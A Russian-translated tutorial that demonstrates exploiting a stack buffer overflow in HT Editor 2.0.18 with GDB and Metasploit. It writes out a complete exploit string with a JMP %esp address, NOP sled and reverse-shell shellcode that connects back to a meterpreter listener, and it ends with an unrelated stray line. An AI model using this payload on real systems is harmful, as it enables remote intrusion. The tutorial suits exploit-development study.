В данном руководстве будет продемонстрирована эксплуатация переполнения буфера на примере обычного приложения. В ходе эксплуатации будут использоваться описанные в предыдущей статье техники.
Автор: sickn3ss
http://sickness.tor.hu
Перевод: SecurityLab.ru
В данном руководстве будет продемонстрирована эксплуатация переполнения буфера на примере обычного приложения. В ходе эксплуатации будут использоваться описанные в предыдущей статье техники.
Требования:
Компиляция и проверка уязвимого приложения
Для демонстрации переполнения буфера будет использоваться приложение “HT Editor”. Его можно скачать на таких ресурсах, как exploit-db и sourceforge.net. Скачивать необходимо версию 2.0.18 или ниже.
После загрузки приложения можно приступит к компиляции:
############################## ./configure ##############################
Полученные в результате данные должны выглядеть следующим образом:
Рис. 1
Теперь необходимо отключить в Makefile функционал NX, для этого добавим флаг “-z execstack”:
Рис. 2
############################## make make install ##############################
Итак, мы установили наше приложение. Давайте посмотрим, какой защитный функционал имеется в этом приложении. Для этого воспользуемся сценарием checksec.sh (убедитесь, что полученные в результате данные выглядят как на Рис. 3)
Рис. 3
Как видим, никакой защиты здесь нет.
Открытие приложения в отладчике и вызов исключения
Откроем приложение в GDB, отправим ему мусорные данные и посмотрим, как оно себя поведет. После отправки нескольких строк с данными мы видим, что необходимое для возникновения исключения смещение равно “4108”.
Рис. 4
После отправки мусорных данных на экране может появиться окно, показанное на Рис. 5
Рис. 5
Если это случится, выполните в gdb команду “shell clear”.
Теперь давайте посмотрим на наши регистры.
Рис. 6
Мы перезаписали EBX, ESI, EDI и EIP. Обратите внимание, ESP указывает на наш буфер, который находиться немного выше.
Рис. 7
После отправки нескольких строк с мусорными данными становиться ясно, что требуемое для перезаписи EIP значение равно 4073. Давайте отправим приложению больший объем данных и еще раз вернемся к ESP.
Рис. 8
Рис. 9
ESP действительно указывает на необходимый адрес. Теперь можно приступить к созданию основы эксплоита, которая будет выглядеть примерно так:
############################## JUNK + 4073 + EIP (перезапись инструкцией JMP/CALL %esp) + NOP Sled + SC ##############################
Выбор необходимой инструкции
Для начала, давайте найдем подходящую JMP/CALL %esp инструкцию
Рис. 10
Существует множество валидных JMP/CALL %esp инструкций. В данном руководстве выберем инструкцию“0x0818f8ff” для нашего шеллкода. В этой статье мы воспользуемся meterpreter.
Рис. 11
Так должен выглядеть получившийся эксплоит:
############################## "\x41" * 4073 (JUNK) + "\xff\xf8\x18\x08" (JMP %esp) + "\x90" * 30 (NOP Sled) +
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x01\
x42\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\
x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" (Shell Code) ##############################
Настройка listener и проверка эксплоита
Для начала давайте настроим listener в Metasploit.
Рис. 12
Теперь запускаем эксплоит в GDB.
Рис. 13
Перезапуск системы и повторный запуск эксплоита
Рис. 14
Рис. 15
Рис. 16
Запущена сессия meterpreter, эксплуатация произведена успешно.
Ссылка на короткую видео демонстрацию по созданию эксплоита для Linux http://vimeo.com/22242861
Ладно, не доказали. Но мы работаем над этим